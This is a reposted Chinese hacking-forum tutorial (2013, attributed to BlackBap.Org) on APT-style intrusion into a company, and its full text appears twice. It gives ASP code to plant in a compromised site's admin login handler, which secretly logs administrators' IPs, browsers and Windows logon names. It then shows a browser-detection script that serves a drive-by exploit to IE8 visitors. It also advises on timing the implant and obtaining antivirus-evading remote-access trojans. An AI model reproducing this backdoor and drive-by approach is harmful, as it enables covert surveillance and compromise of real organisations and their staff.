-
-
[转帖]APT持续性综合渗透经验谈第一讲 从Web到PC 1
-
发表于: 2013-5-1 15:48 1106
-
本帖以某个中小型公司为例,讲述APT进行“踩点”的一个简单方式,本帖子中的踩点比较简单,但是却是迈开持续性渗透的第一步
目标公司具有一定规模,拥有自己的Web站点,也有自己公司的网络出口,公司网站使用的是虚拟主机,并且有自己的邮件服务器。
因为直接取邮件服务器的成功率非常低,成功率甚至低于1%,所以我们选择了对Web网站进行攻击。
取Web服务器这一步,本帖子中就不再陈述,因为这并不属于我们要在本贴中认真探讨的话题,事实上,即使取不到Web服务器,我们仍然有其他的办法。
我们取到Web服务器的唯一价值就是,摸清这个公司的网络进出口,以及对网站的管理员进行持续性攻击
首先要从管理员那里获得信息,就要从管理入口下手
截图中已经显示了这个后台中的完整form表格,当default.asp文件对cmd变量取值为login时,后台程序将验证管理员密码的正确性。
那么我们再来看看default.asp的代码:
......
if request("cmd")="login" then
username=safe(request.form("username"))
password=safe(request.form("password"))
if trim(username)="" or trim(password)="" then
showmsg "请填写登陆信息",2,"default.asp"
end if
set rs=server.createobject("adodb.recordset")
sql="select seq,username,password,truename,user_role,sex from admin32 where username='"&username&"' and user_role>1"
rs.open sql,conn,1,1
if rs.eof or rs.bof then
showmsg "用户名不存在",2,"default.asp"
end if
if md5(password)<>trim(rs("password")) then
showmsg "密码错误",2,"default.asp"
else
session("userid")=rs("seq")
session("user_role")=rs("user_role")
session("islogin")=true
session("sex")=rs("sex")
session("netlogin")="82090704"
session("passwd")=md5(password)
session("username")=username
session("truename")=rs("truename")
showmsg "登陆成功!",2,"main.asp"
end if
......
我们可以看到当cmd取值为login的时候,default都执行了什么代码,最后的else后面是登陆成功后系统执行的代码
这里正好是我们可以利用的代码,既然登陆成功的一定是管理员(这个前提当然是这个网站已经没有可以被小黑利用的漏洞的前提了)
我们既然要利用这里对管理员进行信息收集,那么可以插入一些简单的成型的代码:
......
if request("cmd")="login" then
username=safe(request.form("username"))
password=safe(request.form("password"))
if trim(username)="" or trim(password)="" then
showmsg "请填写登陆信息",2,"default.asp"
end if
set rs=server.createobject("adodb.recordset")
sql="select seq,username,password,truename,user_role,sex from admin32 where username='"&username&"' and user_role>1"
rs.open sql,conn,1,1
if rs.eof or rs.bof then
showmsg "用户名不存在",2,"default.asp"
end if
if md5(password)<>trim(rs("password")) then
showmsg "密码错误",2,"default.asp"
else
'首先建立一个用于记录管理员信息的文件record.html
rfile = "record.html"
'这是记录管理员ip的代码
userip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If userip = "" Then userip = Request.ServerVariables("REMOTE_ADDR")
userhost = Request.ServerVariables("Remote_Host")
'这里记录登陆者的浏览器和系统信息
uuser = Request.ServerVariables("HTTP_USER_AGENT")
'这里是记录已经登陆的WinNT账户的,成功率低于1‰
userlogin = Request.ServerVariables("LOGON_USER")
'最后对数据进行格式化整理和写入文件
data = "<pre>" & vbcrlf & "User Host: " & userhost & "<br />" & vbcrlf & "User IP: " & userip & "<br />" & vbcrlf & "User Agent: " & uuser & "<br />" & vbcrlf & "System Login Name: " & userlogin & "<br />" & vbcrlf & "Time: " & now & "<br />" & vbcrlf & "</pre>" & vbcrlf & "<hr><br />" & vbcrlf
Set Fs=Server.CreateObject("Scripting.FileSystemObject")
Set File=Fs.OpenTextFile(Server.MapPath(rfile),8,Flase)
File.Writeline data
File.Close
'记录结束
session("userid")=rs("seq")
session("user_role")=rs("user_role")
session("islogin")=true
session("sex")=rs("sex")
session("netlogin")="82090704"
session("passwd")=md5(password)
session("username")=username
session("truename")=rs("truename")
showmsg "登陆成功!",2,"main.asp"
end if
......
......
if request("cmd")="login" then
username=safe(request.form("username"))
password=safe(request.form("password"))
if trim(username)="" or trim(password)="" then
showmsg "请填写登陆信息",2,"default.asp"
end if
set rs=server.createobject("adodb.recordset")
sql="select seq,username,password,truename,user_role,sex from admin32 where username='"&username&"' and user_role>1"
rs.open sql,conn,1,1
if rs.eof or rs.bof then
showmsg "用户名不存在",2,"default.asp"
end if
if md5(password)<>trim(rs("password")) then
showmsg "密码错误",2,"default.asp"
else
'首先建立一个用于记录管理员信息的文件record.html
rfile = "record.html"
'这是记录管理员ip的代码
userip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If userip = "" Then userip = Request.ServerVariables("REMOTE_ADDR")
userhost = Request.ServerVariables("Remote_Host")
'这里记录登陆者的浏览器和系统信息
uuser = Request.ServerVariables("HTTP_USER_AGENT")
'这里是记录已经登陆的WinNT账户的,成功率低于1‰
userlogin = Request.ServerVariables("LOGON_USER")
'最后对数据进行格式化整理和写入文件
data = "<pre>" & vbcrlf & "User Host: " & userhost & "<br />" & vbcrlf & "User IP: " & userip & "<br />" & vbcrlf & "User Agent: " & uuser & "<br />" & vbcrlf & "System Login Name: " & userlogin & "<br />" & vbcrlf & "Time: " & now & "<br />" & vbcrlf & "</pre>" & vbcrlf & "<hr><br />" & vbcrlf
Set Fs=Server.CreateObject("Scripting.FileSystemObject")
Set File=Fs.OpenTextFile(Server.MapPath(rfile),8,Flase)
File.Writeline data
File.Close
'记录结束
session("userid")=rs("seq")
session("user_role")=rs("user_role")
session("islogin")=true
session("sex")=rs("sex")
session("netlogin")="82090704"
session("passwd")=md5(password)
session("username")=username
session("truename")=rs("truename")
showmsg "登陆成功!",2,"main.asp"
end if
......
正常情况下,一个公司都是周一至周五办公,因此这段记录代码我们是从周一上班之前插入,通常是周末将这段代码插入到目标公司的后台,并且要在周日晚之前调试完成。
这里之所以要注意时间,因为目标公司不一定是在中国本土,可能在日韩,或者北美,欧洲,他们的时区要注意。
另外也插代码插失败的时候,管理员如果刚好在线,就会很悲剧,给渗透的后半段造成的严重阻碍。无巧不成书的,调试代码错误的时候管理员刚巧在线的情况又不是没有过,所以一定要注意。
对于这个信息采集,并不是一次性完成的,我们需要对管理员的登陆频率,登陆地点以及使用的系统环境如何,都有一定的掌握。
这个采集首先进行一个完整的礼拜,这个礼拜只进行记录和统计,不进行下一步动作。
我们来看一下我们统计的结果:
一个礼拜下来,我们发现每天管理员都登陆网站后台一次,我们共记录到了5次
周一:Windows XP,Safari浏览器
周二:Windows XP,IE 8
周三:Windows XP,IE 6, .NET 2.0 & .NET 4.0
周四:Windows XP,IE 8
周五:Windows XP,IE 6
这里的ip是同一个ip,所以我们可以确认这个ip肯定是目标公司的出入口。
其次,我们看到至少有4台不同的机器登陆后台,我们逐一分析。
周一的机器我们猜测可能是管理员的PC,笔记本之类的,可能是周末带回家做了什么东西,周一带回来使用并登陆了后台,这台机器估计安全性应该较高
周二和周四的机器可能是同一台机器,IE8可以利用近期的Java漏洞挂马
周三的机器是IE6,装了.NET FrameWork,有理由怀疑是有某个公司内部使用的程序,例如人事管理系统,财务管理系统
这里选择下手的机器也是要深思熟虑的。
如果直接对周三的机器下手,用.NET的安全问题挂马,可能会成功,但是这台机器登陆的频率可能不会很多,而且如果不巧是其他机器登陆的,那么挂马不但失败,而且还会被发现
虽然挂马是可以根据浏览器版本等信息进行筛选,可是周五的机器也是IE 6,总之直接对周三的机器下手,至少要等到拿到一台目标公司的机器以后才能进行。
一次,我们在这里决定使用近期出现的java漏洞,对周二和周四的IE 8进行攻击。
这样的话,我们就来构造挂马脚本:
'这里的uuser变量是前面取到的浏览器信息 user_agent
Agent=Split(uuser,";")
If InStr(Agent(1),"MSIE")>0 Then
version=Trim(Left(Replace(Agent(1),"MSIE",""),6))
If InStr(version,")") > 0 Then
tmpstr=Split(version,")")
version=tmpstr(0)
End If
End If
'上面对浏览器版本判断和取值完毕以后,针对不同版本进行攻击
if version="8.0" then
response.Write("挂马代码")
end if
这里的挂马也是要经过调试的,调试的时间和信息收集一样,仍然是在周末中进行,要在周日晚之前调试成功并且结束。剩下的就是坐等管理员上线了。
至于网马代码从哪里搞,这个就是要关注各个安全发布平台了,免杀呢,习科有专门的免杀远控,甚至还有成熟的dll劫持远控,这里就不详细阐述了,毕竟习科是个技术平台而不是个木马传播平台。
本帖中的内容比较基本和简单,后面将陆续深入讲解,仍然是以灌输思想为主,敬请期待
//BlackBap.Org
目标公司具有一定规模,拥有自己的Web站点,也有自己公司的网络出口,公司网站使用的是虚拟主机,并且有自己的邮件服务器。
因为直接取邮件服务器的成功率非常低,成功率甚至低于1%,所以我们选择了对Web网站进行攻击。
取Web服务器这一步,本帖子中就不再陈述,因为这并不属于我们要在本贴中认真探讨的话题,事实上,即使取不到Web服务器,我们仍然有其他的办法。
我们取到Web服务器的唯一价值就是,摸清这个公司的网络进出口,以及对网站的管理员进行持续性攻击
首先要从管理员那里获得信息,就要从管理入口下手
截图中已经显示了这个后台中的完整form表格,当default.asp文件对cmd变量取值为login时,后台程序将验证管理员密码的正确性。
那么我们再来看看default.asp的代码:
......
if request("cmd")="login" then
username=safe(request.form("username"))
password=safe(request.form("password"))
if trim(username)="" or trim(password)="" then
showmsg "请填写登陆信息",2,"default.asp"
end if
set rs=server.createobject("adodb.recordset")
sql="select seq,username,password,truename,user_role,sex from admin32 where username='"&username&"' and user_role>1"
rs.open sql,conn,1,1
if rs.eof or rs.bof then
showmsg "用户名不存在",2,"default.asp"
end if
if md5(password)<>trim(rs("password")) then
showmsg "密码错误",2,"default.asp"
else
session("userid")=rs("seq")
session("user_role")=rs("user_role")
session("islogin")=true
session("sex")=rs("sex")
session("netlogin")="82090704"
session("passwd")=md5(password)
session("username")=username
session("truename")=rs("truename")
showmsg "登陆成功!",2,"main.asp"
end if
......
我们可以看到当cmd取值为login的时候,default都执行了什么代码,最后的else后面是登陆成功后系统执行的代码
这里正好是我们可以利用的代码,既然登陆成功的一定是管理员(这个前提当然是这个网站已经没有可以被小黑利用的漏洞的前提了)
我们既然要利用这里对管理员进行信息收集,那么可以插入一些简单的成型的代码:
......
if request("cmd")="login" then
username=safe(request.form("username"))
password=safe(request.form("password"))
if trim(username)="" or trim(password)="" then
showmsg "请填写登陆信息",2,"default.asp"
end if
set rs=server.createobject("adodb.recordset")
sql="select seq,username,password,truename,user_role,sex from admin32 where username='"&username&"' and user_role>1"
rs.open sql,conn,1,1
if rs.eof or rs.bof then
showmsg "用户名不存在",2,"default.asp"
end if
if md5(password)<>trim(rs("password")) then
showmsg "密码错误",2,"default.asp"
else
'首先建立一个用于记录管理员信息的文件record.html
rfile = "record.html"
'这是记录管理员ip的代码
userip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If userip = "" Then userip = Request.ServerVariables("REMOTE_ADDR")
userhost = Request.ServerVariables("Remote_Host")
'这里记录登陆者的浏览器和系统信息
uuser = Request.ServerVariables("HTTP_USER_AGENT")
'这里是记录已经登陆的WinNT账户的,成功率低于1‰
userlogin = Request.ServerVariables("LOGON_USER")
'最后对数据进行格式化整理和写入文件
data = "<pre>" & vbcrlf & "User Host: " & userhost & "<br />" & vbcrlf & "User IP: " & userip & "<br />" & vbcrlf & "User Agent: " & uuser & "<br />" & vbcrlf & "System Login Name: " & userlogin & "<br />" & vbcrlf & "Time: " & now & "<br />" & vbcrlf & "</pre>" & vbcrlf & "<hr><br />" & vbcrlf
Set Fs=Server.CreateObject("Scripting.FileSystemObject")
Set File=Fs.OpenTextFile(Server.MapPath(rfile),8,Flase)
File.Writeline data
File.Close
'记录结束
session("userid")=rs("seq")
session("user_role")=rs("user_role")
session("islogin")=true
session("sex")=rs("sex")
session("netlogin")="82090704"
session("passwd")=md5(password)
session("username")=username
session("truename")=rs("truename")
showmsg "登陆成功!",2,"main.asp"
end if
......
......
if request("cmd")="login" then
username=safe(request.form("username"))
password=safe(request.form("password"))
if trim(username)="" or trim(password)="" then
showmsg "请填写登陆信息",2,"default.asp"
end if
set rs=server.createobject("adodb.recordset")
sql="select seq,username,password,truename,user_role,sex from admin32 where username='"&username&"' and user_role>1"
rs.open sql,conn,1,1
if rs.eof or rs.bof then
showmsg "用户名不存在",2,"default.asp"
end if
if md5(password)<>trim(rs("password")) then
showmsg "密码错误",2,"default.asp"
else
'首先建立一个用于记录管理员信息的文件record.html
rfile = "record.html"
'这是记录管理员ip的代码
userip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If userip = "" Then userip = Request.ServerVariables("REMOTE_ADDR")
userhost = Request.ServerVariables("Remote_Host")
'这里记录登陆者的浏览器和系统信息
uuser = Request.ServerVariables("HTTP_USER_AGENT")
'这里是记录已经登陆的WinNT账户的,成功率低于1‰
userlogin = Request.ServerVariables("LOGON_USER")
'最后对数据进行格式化整理和写入文件
data = "<pre>" & vbcrlf & "User Host: " & userhost & "<br />" & vbcrlf & "User IP: " & userip & "<br />" & vbcrlf & "User Agent: " & uuser & "<br />" & vbcrlf & "System Login Name: " & userlogin & "<br />" & vbcrlf & "Time: " & now & "<br />" & vbcrlf & "</pre>" & vbcrlf & "<hr><br />" & vbcrlf
Set Fs=Server.CreateObject("Scripting.FileSystemObject")
Set File=Fs.OpenTextFile(Server.MapPath(rfile),8,Flase)
File.Writeline data
File.Close
'记录结束
session("userid")=rs("seq")
session("user_role")=rs("user_role")
session("islogin")=true
session("sex")=rs("sex")
session("netlogin")="82090704"
session("passwd")=md5(password)
session("username")=username
session("truename")=rs("truename")
showmsg "登陆成功!",2,"main.asp"
end if
......
正常情况下,一个公司都是周一至周五办公,因此这段记录代码我们是从周一上班之前插入,通常是周末将这段代码插入到目标公司的后台,并且要在周日晚之前调试完成。
这里之所以要注意时间,因为目标公司不一定是在中国本土,可能在日韩,或者北美,欧洲,他们的时区要注意。
另外也插代码插失败的时候,管理员如果刚好在线,就会很悲剧,给渗透的后半段造成的严重阻碍。无巧不成书的,调试代码错误的时候管理员刚巧在线的情况又不是没有过,所以一定要注意。
对于这个信息采集,并不是一次性完成的,我们需要对管理员的登陆频率,登陆地点以及使用的系统环境如何,都有一定的掌握。
这个采集首先进行一个完整的礼拜,这个礼拜只进行记录和统计,不进行下一步动作。
我们来看一下我们统计的结果:
一个礼拜下来,我们发现每天管理员都登陆网站后台一次,我们共记录到了5次
周一:Windows XP,Safari浏览器
周二:Windows XP,IE 8
周三:Windows XP,IE 6, .NET 2.0 & .NET 4.0
周四:Windows XP,IE 8
周五:Windows XP,IE 6
这里的ip是同一个ip,所以我们可以确认这个ip肯定是目标公司的出入口。
其次,我们看到至少有4台不同的机器登陆后台,我们逐一分析。
周一的机器我们猜测可能是管理员的PC,笔记本之类的,可能是周末带回家做了什么东西,周一带回来使用并登陆了后台,这台机器估计安全性应该较高
周二和周四的机器可能是同一台机器,IE8可以利用近期的Java漏洞挂马
周三的机器是IE6,装了.NET FrameWork,有理由怀疑是有某个公司内部使用的程序,例如人事管理系统,财务管理系统
这里选择下手的机器也是要深思熟虑的。
如果直接对周三的机器下手,用.NET的安全问题挂马,可能会成功,但是这台机器登陆的频率可能不会很多,而且如果不巧是其他机器登陆的,那么挂马不但失败,而且还会被发现
虽然挂马是可以根据浏览器版本等信息进行筛选,可是周五的机器也是IE 6,总之直接对周三的机器下手,至少要等到拿到一台目标公司的机器以后才能进行。
一次,我们在这里决定使用近期出现的java漏洞,对周二和周四的IE 8进行攻击。
这样的话,我们就来构造挂马脚本:
'这里的uuser变量是前面取到的浏览器信息 user_agent
Agent=Split(uuser,";")
If InStr(Agent(1),"MSIE")>0 Then
version=Trim(Left(Replace(Agent(1),"MSIE",""),6))
If InStr(version,")") > 0 Then
tmpstr=Split(version,")")
version=tmpstr(0)
End If
End If
'上面对浏览器版本判断和取值完毕以后,针对不同版本进行攻击
if version="8.0" then
response.Write("挂马代码")
end if
这里的挂马也是要经过调试的,调试的时间和信息收集一样,仍然是在周末中进行,要在周日晚之前调试成功并且结束。剩下的就是坐等管理员上线了。
至于网马代码从哪里搞,这个就是要关注各个安全发布平台了,免杀呢,习科有专门的免杀远控,甚至还有成熟的dll劫持远控,这里就不详细阐述了,毕竟习科是个技术平台而不是个木马传播平台。
本帖中的内容比较基本和简单,后面将陆续深入讲解,仍然是以灌输思想为主,敬请期待
//BlackBap.Org
赞赏
看原图
赞赏
雪币:
留言: